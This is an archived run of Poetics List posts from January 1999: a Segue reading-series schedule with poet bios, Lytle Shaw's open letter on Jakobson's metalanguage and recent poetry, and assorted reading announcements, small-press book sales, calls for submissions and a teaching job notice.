Segue @ Double Happiness DOUBLE HAPPINESS
February & March 173 MOTT STREET
Saturdays @ 4PM [redacted]

FEBRUARY 6: MEI-MEI BERSSENBRUGGE, GENYA TUROVSKY Mei-mei Berssenbrugge is the author of Four Year Old Girl and Empathy, and of The Heat Bird and Random Possession, both American Book Award recipients. Her collaborations with artists include: Hiddenness and Sphericity, both with Richard Tuttle, and Endocrinology, with Kiki Smith, which has received an Asian American Book Award. Genya Turovsky was born in Kiev, in the former Soviet Union, and now lives and writes in New York. A poet and translator, she is currently working on some new translations from the Russian and on her first collection of poetry.

FEBRUARY 13: 3 FROM BUFFALO: MIKE KELLEHER, JONATHAN SKINNER, ELENI STECOPOULOS Mike Kelleher has published two chapbooks: The Necessary Elephant and Three Poems. He is currently completing his MA in poetics at Buffalo. Jonathan Skinner is the author of Political Cactus Poems (Periplum Editions). A selection of his translations from the Provencal is forthcoming from Heart Hammer. Eleni Stecopoulos’s work has appeared in Chain, Rampike and Kiosk. A Poetics PhD student at Buffalo, she's working on a dissertation in which poets supply the theory, religious fanatics the poetry, and literary theorists the fanaticism.

FEBRUARY 20: FIRST ANNUAL TRANSLATION EXTRAVAGANZA Poetry-in-translation/transformation/transit by David Cameron, Eleni Sikelianos, Sianne Ngai, Heather Ramsdell, Zhang Er, Duncan Dobblemann, Brian Kim Stefans, Laird Hunt, Garrett Kalleberg, Dan Machlin, plus other surprise guests.

FEBRUARY 27: ED FOSTER, STEVEN FARMER Ed Foster's most recent book is Boy in the Key of E (Goats & Compasses). He is the editor of the indispensable Talisman: a journal of contemporary poetry and poetics. Steven Farmer is the author of Coracle, Tone Ward, World of Shields and Standing Water. Recent work appears in Lyric &, Tripwire, Crayon and The Poetry Calendar for the Millennium (Sun & Moon). Born in San Diego, he has been in the Bay Area for the last 17 years.

MARCH 6: BOOK PARTY/PERFORMANCE FOR PAULINE OLIVEROS’ THE ROOTS OF THE MOMENT Pauline Oliveros is an internationally known composer, performance artist, theorist, and teacher who has taught and performed all over the world. She is the author of a previous book of essays, Software for People: Essays 1963-1980, and has released numerous CDs of her music. She is currently teaching at Mills College and Oberlin College, and will perform in a retrospective of her work at Carnegie Hall in March.

MARCH 13: BEN FRIEDLANDER, ROBERT KELLY Ben Friedlander, a true guerrilla intellectual now on leave from Chiapas, recently edited The Collected Prose of Charles Olson with Donald Allen. Meow Press will bring out his selected poems in 1999. Robert Kelly is the author of a few gigabytes of poetry and fiction, including most recently Red Actions (selected poems), Queen of Terrors (fiction), and The Time of Voice (poems, 1994-1996).

MARCH 20: JOHN GODFREY, TIM DAVIS John Godfrey, the insider's top pick for unsung pillar of N.Y. poetic conscience, is the author of several books, including Where the Weather Suits my Clothes, Dabble, and Midnight on Your Left. Tim Davis, whose poems are best experienced when fed directly into the pineal gland, is the author of The Analogy Guild and My Life In Politics: a history of N=A=R=R=A=T=I=V=E film. Hard Press is publishing his Dailies in 1999.

MARCH 27: MILES CHAMPION, ANDREA BRADY Miles Champion, besides performing Satie's oboe suites with a buzzsaw in London's choicest metros, is the author of Compositional Bonbons Placate, and the chapbook Sore Models. Presently residing in the U.K, Andrea Brady is the author of several chapbooks, including Of Sere Fold, Cranked Foil, and The White Wish. She is one of the best of the new (American) poets, and we want her back.

APRIL 3 RACHEL ZUCKER, MAGGIE Z Rachel Zucker was born in New York in the middle of a blizzard. She has worked as a photographer, day care teacher, and jeweler and currently teaches writing at NYU and Yale. Her photographs and poems have been published in Volt, 14 Hills, Bridges, and the Iowa Review. She is co-founder and editor of Boomerang! A contributor’s journal. Magdalena Zurawski plays guitar for the rock band The Sleeves. Her poetry has appeared in Crayon, The Germ, and Explosive. A former resident of Berlin, Germany, she presently resides in Brooklyn.

APRIL 10: DREW GARDNER, PRAGEETA SHARMA Drew Gardner’s work has appeared in the anthologies Primary Trouble, An Anthology of New (American) Poets, Writing from the New Coast, and The Gertrude Stein Awards. Recent magazine publications include Object + Torque, No Trees, Hambone, Talisman, and Lingo. He is a jazz drummer and vibraphone player. Prageeta Sharma has a book, Bliss To Fill (subpress books) due Spring '99, and has recent work in Combo, New Orleans Review, The Hat, and Shiny. She plays drums in the rock band The Sleeves.

APRIL 17: CHRIS DANIELS, LULJETA LLESHANAKU Chris Daniels is translating the great Portuguese poet, Fernando Pessoa. His translations will appear in four volumes from Exact Change. He will also be hosting a "Pessoa Salon" ? time and location to be announced ? to share his knowledge of and enthusiasm for Pessoa and Lusophone literature in general. Born in NYC, Daniels makes his

home in Oakland, California. Luljeta Lleshanaku, born in Elbasan, Albania, began publishing her work in 1991 after the overthrow of the Stalinist regime. Her critically acclaimed books of poetry are The Sleepwalker’s Eyes (1993), Sunday Bells (1994), and Half-Cubism (1996), for which she won the Eurorilindja Award for Poetry. English translations of her work have appeared in Grand Street, Seneca Review, Fence, Modern Poetry in Translation, and other magazines.

APRIL 24: NICK PIOMBINO, TED PEARSON Nick Piomobino’s recent publications include work in Avec Sampler 2,Aporia, Close Listening (Oxford University Press), and his newest book, Light Street (Zasterle). He also has work on the Electronic Poetry Center at wings. Buffalo.edu/epc. Ted Pearson is the author of fourteen books of poetry, including Evidence, Planetary Gear, Acoustic Masks, and The Devil’s Aria. A seventh-generation Californian, he emigrated to the United States in 1988. He presently lives in Detroit where he teaches part-time at Wayne State University. This is his first reading in NYC in five years.

MAY 1: LESLIE SCALAPINO, MARTINE BELLEN Leslie Scalapino has two new books forthcoming, both from Wesleyan University Press: New Time and The Public World/Syntactically Impermanence (essays and poetry). The author of many books of poetry and critical essays, she is the editor and publisher of O Books in Oakland, California. Martine Bellen’s Tales of Murasaki & Other Poems (Sun & Moon Press) was a winner of the 1997 National Poetry Series. Her other collections include Places People Dare Not Enter and Ten Greek Poems. Bellen is an editor at Conjunctions and at Carroll & Graf Publishers.

MAY 8: MICHAEL GIZZI, SHERRY BRENNAN Michael Gizzi lives in Western Massachusetts where he publishes Hard Press books and edits the journal Lingo. His most recent books are No Both (Hard Press/The Figures, 1998) and Too Much Johnson (The Figures, 1999). Sherry Brennan lives in Centre Hall, PA. She has a chapbook, Taken, from primitive publications in D.C. She has published most recently in Chain, Tripwire, Mass Ave, Situation, No Roses Review and Nedge.

MAY 15: JEFF DERKSEN, ABIGAIL CHILD Jeff Derksen is a member of the Kootenay School of Writing in Vancouver and is currently finishing a Ph.D. in Calgary. He is the author of two books of poetry, Dwell and the award-winning Down Time, both from Talonbooks. Abigail Child is the author of Scatter Matrix, Mob, and A Motive for Mayhem. She is currently completing a new video, The Russian Chronicles, and preparing a manuscript of critical work.

MAY 22: RODRIGO TOSCANO, ANDREW LEVY Originally from San Diego, Rodrigo Toscano lives and works in San Francisco. He has a book, The Disparities, due out soon from Sun & Moon, and another forthcoming from Atelos Press. Andrew Levy's most recent books are Continuous Discontinuous, and Elephant

Surveillance To Thought. New work is forthcoming in Conjunctions, CrossConnect, and Philly Talks. He is co-editor with Bob Harrison of CRAYON, and longstanding curator of the Segue sponsored reading series.

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48. Poetics List

Notes to Poetry 49 (fwd)

Fri 15 Jan 1999

---------- Forwarded message ----------
Date: Mon, 04 Jan 1999 11:51:03 -0500
From: Steve Evans <[redacted]>
To: [redacted]
Subject: Notes to Poetry 49

4-5 December 1998

AN OPEN LETTER: JAKOBSON'S METALANGUAGE
by Lytle Shaw

Dear Steve,

I notice that in David Lehman's new book, Hal Sirowitz, the author of_My Mother Said_ and _My Therapist Said_, gets included as a significant descendant of the New York School. This is strange and untrue. By chance I saw Sirowitz read lately and there was something quite funny and completely limited about his work. I've recently been interested in poetries that chart speech acts--and linguistic practices more broadly--within uneven power dynamics. In Sirowitz's case, the institutional frames of parent/child or therapist/patient relationships are numbingly obvious: enunciation gets contained within an overly literalized setting in which we watch a repertoire of more or less cliche, though at times comic, pathologies. But that more various relations to institutional frames have been a basis for some of the most interesting poetics of the last few years will be my way in, through the question of metalanguage, to a consideration of what has happened to poetics in the forty years since Roman Jakobson's excellent essay, "Linguistics and Poetics." For Jakobson, metalanguage shouldn't be understood only as a scientific tool; instead it "plays also an important role in our everyday language" (69). Now, in part because of him, this seems obvious. But for him there is no social moment to the question:

<c> "The sophomore was plucked." "But what is _plucked_" "_Plucked_ means the same as _flunked_." "And _flunked_?" "_To be flunked is to fail an exam._" "And what is _sophomore?_" persists the interrogator innocent of school vocabulary. "_A sophomore_ is (or means) a _second-year student_." All these equational sentences convey information merely about the lexical code of English;

their function is strictly metalingual. Any process of language learning, in particular child acquisition of the mother tongue, makes wide use of such metalingual operation. (69) <xc>

The forty year gap allows us to feel comfortable asserting, unlike Jakobson, that power inheres in the very form of most metalingual statements: the seeming lack of origin of their "correct" answers; their ability to switch on and off a set of social rules--are we talking to or about? To derail communication--or render it suddenly self-reflexive--is itself an important social act. Metalingual statements of the type Jakobson cites work to naturalize uneven power relations by placing them within secure, seemingly objective, categories--here between student and professor. Moreover, metalanguage's entrance into everyday language provides one of the most basic opportunities to chart the working of social-linguistic codes, what we would now call--in a vast, rough translation of linguistic insights toward the social sciences Jakobson couldn't help but pronounce unrigorous!--power codes. Metalingual statements have the unique ability to render palpable the _social frames_ of a speaking situation or more generally a situation of one's encounter with language. They render perceptible the linguistic basis of coded power relationships. Perhaps we are so comfortable asserting all of this that simply to assert it is no longer enough.

Of course, claiming that one of poetry's main functions is to explore metalanguage flies directly in the face of Jakobson--at least on the surface. He writes: Poetry and metalanguage ... are in diametrical opposition to each other: in metalanguage the sequence is used to build an equation, whereas in poetry the equation is used to build a sequence (71).

It's "build an equation" that is perhaps an overhasty summary of poetry's use of metalanguage and, in fact, of poetry's relation to sound, its would-be poeticness in Jakobson's most famous statements: "the poetic function projects the principle of equivalence from the axis of selection into the axis of combination [and] equivalence is promoted to the constitutive device of the sequence" (71). So to back up we could initially dispute the accuracy of the word "equation" for both poetry and metalanguage. Is equation (of sound, syllables, stress, etc.) in fact poetry's primary device? This view best describes (a) metrical and rhymed poetry generally (b) Russian poetry specifically--and _not_ advanced American poetry of the last 150 years. If phonetic equations are crucial for this later tradition, they are certainly not _the_ primary organizational feature of Whitman, Dickinson, the Objectivists, The New York Schoolers, The Language Writers.

I'd want to say that if we study phonetic equivalence as a device, its effects could be centrifugal as well as centripetal. Connections at a semantic level made through sound can project as well as collapse. They thrust us out into the world as much as they swing us back toward the poem.

Now back to poetry and metalanguage: when poetry deals with metalanguage it does not simply _build_ sequences through equations (this would be old-fashioned narrative poetry, or a poetry of unselfconscious definition) so much as foreground the paradigmatic components of such equations, render them perceptible--in its critical moment--as unnecessary and even destructive habit, and--in its utopian moment--as deformations of linguistic habit that open spaces for thought. This means that in a metalinguistic poetic line or stanza several potential members of a sequential subset coexist, and it is their coexistence that is the point. Simple example: (a) the figure of a normative syntax that gets called to mind through (b) its deformation. Coexistence is the point, then, not out of a naive desire for infinite possibility, but because it allows an energetic charging that can emerge only through a worn, maybe suspect, phrase or syntactic structure undergoing mutating invention.

What I want to suggest is that we can account for Jakobson's effects over the last forty years by charting how his interest in metalanguage gets (a) extended into poetry in ways he won't and (b) socialized in the form of inquiries into the power relationships that connect texts to their institutional and generic frames. To put it sweepingly, a social understanding of metalanguage and an acknowledgment of its relevance to poetry mark points at which Language writers begin to follow Foucault and not Jakobson, though of course only Jakobson could have provided this inventive, concretely formulated linguistic point. I'm emphatically not saying that a poetics of metalanguage is itself "subversive" or even new. Instead, the history I see is that poetry's relation to metalanguage first gets posed in Jakobson, then developed somewhat generally in early Language writing and now begins to take on new relevance as poets work out poetics that explicitly, and often humorously, involve the mostly literary institutional frames of the epic (Lisa Robertson), the fairy tale (Lyn Hejinian), the picaresque novel (Hejinian and Carla Harryman), the bildungsroman (Pamela Lu)--but also the encyclopedia and historiography (Barrett Watten). As I said earlier, exposure through metalanguage of the non-neutrality of linguistic and generic norms is no news: the point is more that the dream of neutrality that Jakobson poses--"merely about the lexical code"--is now so distant as to allow (yet to be fully described and theorized) tonal invention and institutional figure/grounding at the moments when texts appear "merely" to be pointing out facts, defining their terms. Because all good poetry poses ontological questions about its generic status (what is epic? etc.), the question is the kind of dialogue. It was as an attempt to articulate the force of one type of this dialogue that, in an article in _Poetics Journal_, I recently considered the works of Alex Cory, Ann Simon and Pamela Lu within the institutional framework of children's language acquisition. So a project like Ann Simon's _A Biography of My Vocabulary_, a poetry

of meta-definition, is only the most literal version of this metalingual question. Three very different ones that come immediately to mind are:

* Lisa Robertson's occupation of epic in _Debbie: An Epic_. She puts it best: "With what suave domesticity Virgil strolls among the deep shelves of the paternal library. The metric pulse of the catalogue or calendar charts his walk. To narrate an origin as lapidary, as irrevocable, is only to have chosen with a styled authority from the ranked aisles of thought. For if Virgil has taught me anything, it's that authority is just a rhetoric or style which has asserted the phantom permanency of a context."

* Adam DeGraff's invention--in "Poetic Statement" (_Shark_ 1)--of a language of authority that modulates among the disembodied voice of the anthology editor, the classic poet ventriloquizing statements about himself that would be structurally impossible for him to make, and the earnest, poet-centered statement of intent.

<c> Shortly after I completed this poem, I suffered from recurring attacks of insanity, brought on by the feeling that my work was not appreciated at court. The age of chivalry has almost passed. I am trying to revive its spirit by this poem, written 'to fashion a noble person in virtuous and gentle discipline.' In this poem the simple worker leads the company to truth after he has finished his plowing. I advise people to do their work honestly instead of going on pilgrimages. Posterity will decide that this poem is far overrated by my contemporaries. It contains too much theory and too little action. Yet my patriotic odes mark me as the forerunner of the nationalist movement. <xc>

* Lyn Hejinian's _The Traveler and the Hill and the Hill_ in which, as each fairy tale goes bad, the spaces among its 3 part syllogistic structure open themselves up to an investigation of the social logic that would bind short illustrative narratives designed for children, so that knowledge for a child might suddenly become the knowledge of a child:

<c>
There was once a parson who was so arrogant that whenever he saw anyone driving toward him on the road he would roar from a distance, 'Off the road! Off the road! Here I come!'
He glanced at all the maidens with his fiery red eyes and cried, 're you going to pass by without offering to help me?'
But God's existence is doubtful and even if God does exist it hardly matters.
<xc>

One might be tempted to say that the consideration of metalanguage within institutional frames is less a constitutive feature of recent poetry than a basic transhistorical poetic concern: historicisms of all types can't help but claim a

metalingual aspect, even a project, for the poets they "contextualize." Rather than pursue this I'll give one final example. Here's Langston Hughes in 1949 arguing against a common syntax of substantive/preposition that would make one's relation to coded black locations (Harlem, Railroad tracks, South Side) a matter of essential distance and voyeurism and thereby efface life and culture inside or across these lines:

<c>

Visitors to the Black Belt

You can talk about
Across the railroad tracks-
To me it's _here_
On this side of the tracks.

You can talk about
_Up_ in Harlem-
To me it's _here_
In Harlem

You can say
Jazz on the South Side
To me it's hell
On the South Side:

Kitchenettes
With no heat
And garbage
In the halls

Who're you, outsider?

Ask me who am I.

<xc>

So one function of poetry might be the organization of metalingual questions to create energizing displacements and reflexive commentary on normative operations of language. But I would of course be reluctant to call this _the_ poetic function. For metalanguage to be a fresh question it can't be just about a grid of normal language that gets continually deformed and overcharged (this myopia replays a version of the structuralists' emphasis on phonetic equation). This also valorizes a poetry of non-integrated small semantic units, say a string of puns at the level of the line-a practice which we are all familiar with by now. Instead, there must be interpenetration of scales: from clause to genre; from word to speaking situation, from phoneme to institutional frame.

=-=-=-=-=-=-=-=-=-=-=-= Lytle Shaw is the co-editor of _Shark_. With the artist Emilie Clark he has published _The Rough Voice_ (Berkeley: Idiom, 1998) and _Flexagon_ (Berkeley: Ghos-ti-, 1998). His criticism appears in _Poetics Journal_ 10, _Tripwire_ 2, and in the pages of _Shark_. He can be e-mailed at <[redacted]>.

These Notes to Poetry are edited by Steve Evans and circulated among friends as they accumulate. The numbers in the heading refer not to consecutive issues but to the week in 1998 when the works were read and commented on. Installments exist in the following discrete series: 1, 2, 3, 5, 12, 14, 15, 17, 18, 22, 25, 34, 40, and 45. A collectively authored mid-year installment (26) also contains a table of contents for weeks 1-26. Corrections, criticism, contrary judgments, updates, and news from afar are always received with gratitude.

Roman Jakobson's "Linguistics and Poetics" is perhaps most readily available in _Language in Literature_, edited by Krystyna Pomorska and Stephen Rudy (Cambridge: Harvard-Belknap, 1987). My own brief remarks on the fortieth anniversary of this essay can be found in Notes to Poetry 45.

Contact and ordering information: Doubleday (for David Lehman's _The Last Avant-Garde: the Making of the New York School of Poets_) * Reality Street Editions (for _Debbie: An Epic_), 4 Howard Court, Peckham Rye, London SE15 3PH ** Small Press Distribution [redacted] or [redacted] <http://www.spdbooks.org> ** Bridge Street Books (Rod Smith) [redacted] <[redacted]>.

A word of welcome to L A G N I A P P E, Graham Foust and Benjamin Friedlander's new web-site devoted to reviews of poetry and poetics <http://writing.upenn.edu/~foust/lagniappe.html>.

And, finally, please consider contributing to the year-end installment of the Notes by sending, before 31 December, a brief list of the works that have occupied and interested you in 1998. As a rule, the more publication details--including prices and publisher's addresses for the more fugitive presses--the better. Commentaries of up to 1000 words are also welcome.

r i a t n m u
a t s u o o o s

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49. James Sherry
Roof Books New Titles
Fri 15 Jan 1999

Thanks to all of you who have responded to Roof's offer on the Perelman and Robinson titles. I will get to them soon, but will be out of town for two weeks

and will start to send out the books the first week of February. Sorry for the delay, but as Michael Gottlieb says "There's no such thing as an emergency in the poetry world." Keep those orders coming folks. Thanks again. James

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50. Jessica Pompeii
Beyond Baroque
Fri 15 Jan 1999

Literary Arts Center requests that you send submissions to there small press archive and chap book collection. If you have questions please call, [redacted], or just mail your contributions to our library at:

Beyond Baroque Literary Arts
Attn.: Ellyn Maybe
681 Venice Blvd.
Venice, CA 90291

Also, we are calling for poems and short stories, for our web page. Send no more than five submissions to: [redacted]/

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51. Burt Hatlen
Re: POETICS Digest - 13 Jan 1999 to 14 Jan 1999 (#1999-4)
Sat 16 Jan 1999

I would like to post this job notice on the poetics list. The successful candidate will assume significant editorial responsibilities with Sagetrieb.

Burt Hatlen

Anticipated opening for Assistant Professor of English, tenure track, with specialization in Postmodernist American Poetry, beginning September 1, 1999. Additional teaching strengths in American literature preferred. Experience in teaching writing preferred. The successful candidate will be expected to participate actively in the research, outreach, and editorial work of the National Poetry Foundation, which is an integral part of the English Department. Requirements for the Ph. D. must be completed by September, 1999. Send letter of application, full CV, and the names and contact information of at least three references to Chair, Search Committee, Postmodernist American Poetry, Room 304, 5752 Neville Hall, University of Maine, Orono, ME 04469-5752. Review of applications will begin on March 15, 1999 and will continue until the position is filled. The University of Maine is an equal opportunity employer. Position subject to administrative approval.

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52. dbkk
"The Kink of Chris Komater"
Sat 16 Jan 1999

If you know the work of the photographer Chris Komater, who lives here in San Francisco, you'll want to visit his new site http://www.chriskomater.com which gives a retrospective of his whole career. He has a new show coming next month and I wrote a catalogue type essay for the exhibition which to my surprise is also featured on the website, so if you are not interested in the visual arts and only want to know my take on Komater's work, you can skip everything else and read it at http://www.chriskomater.com/projkinktext_left.html

What an announcement, but how to make it sound more inviting and exciting, you must check this one out for yourself! Thanks, everyone . . .

Kevin Killian

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53. Elizabeth Treadwell
San Francisco-January 31-AVEC SAMPLER READING @ CANESSA
Sat 16 Jan 1999

A READING FOR AVEC SAMPLER #2

Andrew Joron
Christopher Reiner
Joe Ross
Elizabeth Treadwell

SUNDAY, JANUARY 31, 1999
3 PM
Canessa Gallery
708 Montgomery Street
(at Columbus Ave)
SAN FRANCISCO

[redacted]

$5

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54. Elizabeth Treadwell
Los Angeles--January 29--Double Lucy @ Beyond Baroque
Sat 16 Jan 1999

DOUBLE LUCY BOOKS @ BEYOND BAROQUE

Friday, January 29, 1999

SARAH ANNE COX
YEDDA MORRISON
ELIZABETH TREADWELL

reading.

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

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55. Lewis Warsh

(no subject)

Sat 16 Jan 1999

In an attempt to liberate our back list, UNITED ARTISTS BOOKS is offering all titles at a 50% discount. (Prices listed are the original ones -- just cut them in half.)

PERSONAL EFFECTS by Charlotte Carter. 93 pages, paperback. Cover by Angela Fremont. $6.00. "Like the music her characters listen to or sing, Charlotte Carter's writing may be lyrical or funky, or melancholic and bittersweet. She's always wry and economical. Her touch is delicate and tough, as she explores issues around race and sexuality, as she wittily cajoles the reader to notice how much bitter and more complicated the picture really is." Lynne Tillman

SOMETHING TO HOLD ON TO by Dennis Moritz. 126 pages, paperback. Cover by Pamela Lawton. $8.00.

Nine theater pieces by the Philadelphia-based playwright whose works have been performed at Joseph Papp Public Theater, BACA Downtown, Nuyorican Poet's Cafe and The St. Mark's Poetry Project.

"His plays are square in the face of society, which is where Dennis Moritz is, full of humor, elbows and mesmerizing love of language." Bob Holman

LIQUID AFFAIRS by Mitch Highfill. 64 pages, paperback. Cover by Mimi Fronczak. $7.00.

"When I read Mitch Highfill's poems my heart beats faster and my hands get all sweaty. It's the closest I've come to weightlessness since I was an astronaut." Todd Colby

ECHOLALIA by George Tysh. 75 pages, paperback. Cover photograph by the author. $7.00.

"Writing at sexual pitch is my favorite ace of the impossible deals and George Tysh takes this gamble to its most serious extremes. This book arrives at the perfect angle of deviance." Clark Coolidge

BLUE MOSQUE by Anne Waldman. 64 pages, paperback. Cover by Louise Hamlin. $6.00.

"Anne Waldman is a poet orator, her body is an instrument for vocalization, her voice a trembling flame rising out of a strong body, her texts the accurate energetic fine notations of words with spoken music latent in mindful arrangement on the page." Allen Ginsberg

POLITICAL CONDITIONS / PHYSICAL STATE by Tom Savage. 60 pages, paperback. Cover by George Schneemsn.

"I've been reading Tom Savage's poems for a long time and have come to realize that I need each new book. He's a particularly honest and tough-minded poet; his voice is one I count on to register change--social and individual, to tell me what's going on. He's good--poet, person." Alice Notley

LOVE UNCUT: POEMS 1986. 85 pages, paperback. Cover by Louise Hamlin. $7.00.

"Bill Kushner's streetwise joie de vivre observations charm the hardest of macho hearts. Frank O'Hara would surely approve. These energetic "songs of a goof" are sheer gravy heaven." Anne Waldman

ALONG THE RAILS by Elio Schneeman. 76 pages, paperback. Cover by Pamela Lawton. $6.00.

"I like Elio Schneeman's first major collection very much. It reminds me of the big-city angularity of Edwin Denby, the graceful weightlessness of Paul Eluard, the childlike amazement of Joseph Ceravolo, and the mysterious displacements of Pierre Reverdy, but what is better is that it reminds me of Elio Schneeman." Ron Padgett

THE FAST by Hannah Weiner. 43 pages, paperback. Cover by Anne Tardos. $6.00.

"Hannah Weiner is the only clairvoyant I know, or that I've ever known. Her achievement--& it is a considerable one--lies in her having developed a specific literary form through which to convey her remarkable experiences." Jackson MacLow

LOVE MAKES THINKING DARK, by Barbara Henning. 85 pages, paperback. Cover by Miranda Maher. $7.00.

"Barbara Henning's deep and quirky knowledge of the human soul--especially woman's soul --brings us to a simultaneous exploration of the outside and the

inside, Self and Other: the macrocosm and microcosm of the alchemist. She takes us far, and so skillfully that we are glad to let her do it." Diane di Prima

POEMS FOR THE WHOLE FAMILY by Daniel Krakauer 86 pages, paperback. Cover by Dave Barkin. $7.00.

"Krakauer's stye is somewhere between automatic writing and crafted satire. What he is about is alertness and knowing. It is astonishing how contemporary his poetry continues to be, especially those poems written before 1960." John Godfrey

INFORMATION FROM THE SURFACE OF VENUS by Lewis Warsh. 93 pages, paperback. Cover by Louise Hamlin. $7.00.

"Lewis Warsh's thought is not circular, but spiral, in fact--and is, in this way, totally appropriate for the times. All propositions turn back on themsealves, the image of truth is uncertainty; and all that we know about a thing is limited to our knowledge of its limits. The sense that this isn't quite fair, or right, is what gives his thought, his work, its moral power, and humor." Fanny Howe

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HEAD by Bill Kushner. 80 pages. Cover photograph by Bernadette Mayer. $8.00.

ONE AT A TIME by Gary Lenhart. 76 pages. Cover by Louise Hamlin. $7.00.

FOOL CONSCIOUSNESS by Liam O'Gallagher. 102 pages. $8.00.

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112 Milton St., #3
Brooklyn, N.Y. 11222

or from [redacted]

↑ Index

56. Bob Grumman
Comprepoetica Annoucement
Sat 16 Jan 1999

This is a multi-part message in MIME format.

In hopes of reviving Comprepoetica, which has been getting only a little more than one visit a day for some time, I've decided to start regularly using it to showcase reviews of poetry collections, and individual poems--as well as poetics/poetry-related essays of the sort already at my site. I hope to have the first one up sometime in February. So, if you have anything you want me to consider--about ANY KIND OF POETRY, e.mail it to me--with, please, a return address, so I can get back to you about it. Snail-mail submissions will be okay, too. My intention is have a series of weekly posts containing only posts I like (which will depend mainly on their skill at close-reading) or my own (since I doubt that I'll be getting submissions from too many others for a while). But I will also archive unused submissions--so long as I have space to do so. I plan to have two feedback files available, too--one for what I consider sensible & coherent responses to posted essays, and one for the rest. I hope also to start posting more of my own published essays by themselves--with essays from others, published or unpublished, if anyone will send them to me.
<p>

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

----------17DD6D06D97--

↑ Index

57. Douglas Oliver
Re : London readings
Mon 18 Jan 1999

I've been asked to post the following:

If you're in London in March, a couple of special readings lined up:

Sunday 14th March

Bob Cobbing
Nicholas Johnson

Monday 15th March

Helen Macdonald
Douglas Oliver
Iain Sinclair

7.30 p.m.

The Diorama
34 Osnasburgh Street
 London NW1

Two minutes from Great Portland Street
underground stop. Phone 0[redacted].

Doug

↑ Index

58. Joe Ross
Re: San Diego-January 24-Beyond The Page READING
Mon 18 Jan 1999

Beyond The Page is proud to continue its monthly series of arts-related events with this reading. Beyond The Page is an independent arts group dedicated to the promotion of experimental and explorative work in contemporary arts.

READING

Beyond The Page

Stephen Cope
Standard Schaefer

Sunday, January 24th, 4 PM
The Fault Line Theater Space
3152 5th Ave.(5th and Spruce
San Diego,CA

Stephen Cope was born in Houston, but has spent most of his life in the San Francisco Bay Area. From 1989-1995, he was co-editor, with Christopher Funkhouser, of We Magazine/We Press, and in 1989 the two co-founded _Thelemenade_, a roving improvisational music, poetry, and arts collective that performed across the United States, releasing and/or producing three cassettes (_Awftershawk_, _Thelemonade Retrospective_, and _Antonio_), a compact disc (_We Magazine XIV_), and a video (_We Magazine XVIII_). The group included, at various times, such poets and/or musicians as Lee Ann Brown, Andy Clausen,

Allen Ginsberg, Steven Taylor, and Katie Yates (among over 60 others). Cope currently lives in San Diego. _Versiones Vertiges_, his third chapbook, is forthcoming from Meow Press.

Standard Schaefer was born in Houston, Texas and currently teaches at East L.A. College as well as Otis College of Art and Design. He is the co-editor of Rhizome and a founding member of L.A. Books. His work has appeared in New American Writing, Ribot, Chain, Talisman, Columbia Poetry Review, Combo and several other magazines. He has chapbooks forthcoming from Texture and Minium. He is a recipient of a 1997 Gertrude Stein Award from Sun & Moon Press.

↑ Index

59. Herb Levy

Subtext Readings: Winter/Spring 1999 (Seattle)

Mon 18 Jan 1999

Say, I forgot to send this out earlier to the all-new sleek & svelte Poetics List, hope you out of towners can still get flights at the last minute for this week's readings. Laynie Browne curated through April; May is curated by Jeanne Heuving, summer into fall readings are being curated by Ezra Mark & Bryant Mason.

January 21: Norma Cole & Maya Sonnenberg

February 18: Rebecca Brown & Juliana Spahr

March 18: Kenji Yuda & Lee Ann Brown (with a workshop by Lee Ann Brown that weekend)

April 22 (please note this is the FOURTH Thursday of the month), in conjunction with the Rendezvous Reading Series: Alice Notley & Douglas Oliver

May 20: Harryette Mullen with local reader still to be determined

All readings at 7:30 pm in the back room of the Speakeasy in Seattle's Belltown district. Stop by & say hi.

Also, check out the Subtext Web site: <http://www.speakeasy.org/subtext/>. Hoo-hah.

Herb Levy

[redacted]

↑ Index

60. Marcella Durand
Re: POETICS Digest - 15 Jan 1999 to 17 Jan 1999 (#1999-6)
Mon 18 Jan 1999

Nicole Brossard will not be reading at the Poetry Project this Wednesday. Hopefully, she'll be reading in April instead.

But Heather Fuller is still on! And with an exciting surprise co-reader to be announced. Wed at 8.

↑ Index

61. Pritchett,Patrick
FW: U. of Denver Reading Series
Mon 18 Jan 1999

> *The University of Denver Spring Reading Series*
> *begins with*
>
> *PATRICIA POWELL*
> *FRIDAY JANUARY 22*
>
> *a vibrant young novelist from the Caribbean*
> *reading from her new book "The Pagoda" (Knopf, 1998)*
>
> *"a lush, historical work that opens a door onto an exotic imaginary world*
> *where sex roles and racial tensions are tossed aside in the struggle to*
> *belong" --Publishers' Weekly--*
>
> *"Lyrical, sensative, seductive and compassionat....she has established*
> *herself as a major voice in Caribbean liteature." --World*
> *Literature Today--*
>
> *She will give a public TALK at 4 PM*
> *and a READING at 7:30*
>
> *in RENAISSANCE ROOM SOUTH, 2nd floor*
> *MARY REED BUILDING*
> *UNIVERSITY OF DENVER CAMPUS*
>
> *We hope you can come join us.*
> *Other events upcoming in the series include:*
>
> *STEVE MC CAFFERY FEBRUARY 5*
> *JOHN YAU MARCH 5*
> *JOAN RETALLACK APRIL 16*

> *If you have any questions or need more explicit directions, please do not hesitate to call Cole Swensen at* [redacted]

↑ Index

62. Loss Pequen~o Glazier
New Creeley Book
Mon 18 Jan 1999

Announcing Robert Creeley's *So There*
Info about the book is available at
http://www.wwnorton.com/nd/fall98/Creeley.html
or from the EPC home page
http://writing.upenn.edu/epc/

↑ Index

63. Katie Degentesh
9X9 INDUSTRIES PRESENTS
Tue 19 Jan 1999

Melissa Stein, poet whose works have appeared in American Poetry Review, Faultline, The Chattahoochee Review, and Amelia, as well as several poetry anthologies. She has been awarded residency fellowships by the MacDowell Colony and the Villa Montalvo Center for the Arts, and is currently a freelance editor and writer in San Francisco.

and

Alix Olsen from New York City, member of the 1998 National Poetry Slam Champion Team from the NuYorican Poets Cafe, winner of the"In Our Own Write" Poetry Competition and the 1998 Barbara Deming Memorial Women in the Arts Award. She has been featured in over 50 different East Coast and Southern venues, including Harlem's Apollo Theater, La Resistencia Bookstore (TX), the NYC Gay and Lesbian Community Center, A Different Light Bookstore (NYC), and many colleges and universities.

Poetry reading and performance
9x9 Industries
Adobe Bookshop, Thursday, January 21, 1999
3166 16th St. (at Guerrero)
8 PM, FREE

9X9 INDUSTRIES http://www.paraffin.org/nine/
[redacted]

WE DON'T LIKE POEMS
THAT ARE LIKE POEMS!

↑ Index

64. Ron Silliman
Fred Hopkins has died
Tue 19 Jan 1999
